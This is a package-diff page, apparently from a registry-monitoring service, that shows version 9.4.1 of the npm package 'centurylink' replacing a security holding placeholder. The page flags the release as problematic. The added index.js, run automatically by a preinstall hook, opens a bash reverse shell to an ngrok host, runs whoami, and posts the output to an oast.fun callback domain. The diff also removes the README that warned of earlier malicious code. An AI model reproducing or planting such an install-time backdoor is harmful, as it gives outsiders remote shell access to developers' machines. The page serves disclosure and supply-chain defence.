centurylink 0.0.1-security → 9.4.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of centurylink might be problematic. Click here for more details.
- package/index.js +27 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
const execSync = require('child_process').execSync;
|
2
|
+
|
3
|
+
const whoami = execSync('whoami', { encoding: 'utf-8' });
|
4
|
+
const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/18464 0>&1', { encoding: 'utf-8' });
|
5
|
+
|
6
|
+
|
7
|
+
const https = require("https")
|
8
|
+
|
9
|
+
const data = JSON.stringify({
|
10
|
+
"whoami": whoami,
|
11
|
+
"shell": shell,
|
12
|
+
})
|
13
|
+
|
14
|
+
const options = {
|
15
|
+
hostname: "cm30n6w2vtc0000cv6m0gkb4w7cyyyyyf.oast.fun",
|
16
|
+
port: 443,
|
17
|
+
path: "/",
|
18
|
+
method: "POST",
|
19
|
+
headers: {
|
20
|
+
"Content-Type": "application/json",
|
21
|
+
"Content-Length": data.length,
|
22
|
+
},
|
23
|
+
}
|
24
|
+
|
25
|
+
const req = https.request(options)
|
26
|
+
req.write(data)
|
27
|
+
req.end()
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "centurylink",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9.4.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=centurylink for more information.
|